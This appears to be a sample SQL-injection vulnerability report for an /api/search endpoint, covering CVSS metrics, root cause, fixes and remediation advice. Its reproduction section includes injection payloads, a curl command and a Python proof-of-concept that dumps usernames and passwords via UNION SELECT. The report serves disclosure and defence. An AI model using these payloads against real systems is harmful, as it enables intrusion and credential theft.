Vulnerability Format

{
  "attack_vector": "N",
  "attack_complexity": "L",
  "privileges_required": "N",
  "user_interaction": "N",
  "scope": "U",
  "confidentiality": "H",
  "integrity": "H",
  "availability": "H"
}

The search parameter in the /api/search endpoint is vulnerable to SQL 
injection. User-supplied input is concatenated directly into SQL queries 
without sanitization or parameterization, allowing attackers to execute 
arbitrary SQL commands against the backend database.

Successful exploitation allows attackers to:
- Extract all database contents including user credentials
- Modify or delete critical data
- Bypass authentication and authorization controls
- Potentially gain operating system access via database functions

This could result in complete system compromise, data breach of sensitive 
customer information, and violation of GDPR/PCI-DSS compliance requirements.

The application constructs SQL queries using Python f-strings:

query = f"SELECT * FROM users WHERE name = '{user_input}'"

When user_input contains SQL metacharacters, they are interpreted as SQL 
syntax rather than literal data. An attacker can close the quoted string 
and append additional SQL commands:

user_input = "' OR '1'='1" results in:
query = "SELECT * FROM users WHERE name = '' OR '1'='1'"

This returns all user records. More sophisticated payloads can extract 
data from other tables, invoke stored procedures, or read files.

The vulnerability exists because:
1. Input is not validated or sanitized
2. Parameterized queries are not used
3. Database permissions are overly broad

To reproduce this vulnerability:

1. Navigate to https://example.com/search
2. In the search field, enter: ' OR '1'='1
3. Submit the search form
4. Observe that all user records are returned instead of filtered results

Alternatively, using curl:

curl "https://example.com/api/search?q=' OR '1'='1"

The response will contain all database records, confirming the SQL 
injection vulnerability.

For more advanced exploitation, use the proof-of-concept script below.

import requests

# Target URL
target = "https://example.com/api/search"

# SQL injection payload to extract database version
payload = "' UNION SELECT NULL, version(), NULL-- "

# Send malicious request
response = requests.get(
    target,
    params={"q": payload},
    headers={"User-Agent": "Mozilla/5.0"}
)

# Check if successful
if response.status_code == 200:
    print("[+] SQL Injection successful")
    print(f"[+] Database version: {response.json()}")
else:
    print("[-] Exploitation failed")

# Extract user credentials
payload = "' UNION SELECT username, password, NULL FROM users-- "
response = requests.get(target, params={"q": payload})

if response.status_code == 200:
    users = response.json()
    print(f"[+] Extracted {len(users)} user records")
    for user in users:
        print(f"  {user['username']}: {user['password']}")

[
  {
    "file": "src/api/search.py",
    "start_line": 42,
    "end_line": 45,
    "snippet": "query = f\"SELECT * FROM users WHERE name = '{user_input}'\"\nresults = db.execute(query)",
    "label": "Vulnerable SQL query construction",
    "fix_before": "query = f\"SELECT * FROM users WHERE name = '{user_input}'\"",
    "fix_after": "query = \"SELECT * FROM users WHERE name = ?\"\nresults = db.execute(query, (user_input,))"
  },
  {
    "file": "src/api/search.py",
    "start_line": 15,
    "end_line": 18,
    "label": "Missing input validation"
  }
]

Immediate remediation:

1. Use parameterized queries instead of string concatenation:

   Before:
   query = f"SELECT * FROM users WHERE name = '{user_input}'"
   
   After:
   query = "SELECT * FROM users WHERE name = ?"
   results = db.execute(query, (user_input,))

2. Implement input validation:
   - Whitelist allowed characters
   - Enforce maximum length limits
   - Reject SQL metacharacters

3. Apply principle of least privilege:
   - Use read-only database account for queries
   - Revoke unnecessary permissions
   - Use separate accounts for different operations

Long-term improvements:

4. Enable query logging and monitoring
5. Implement Web Application Firewall (WAF) rules
6. Conduct regular security code reviews
7. Use static analysis tools in CI/CD pipeline
8. Provide security training for developers

Testing:

After implementing fixes, verify:
- Original exploit no longer works
- Legitimate queries still function correctly
- Error handling doesn't leak information
- Logs capture attempted attacks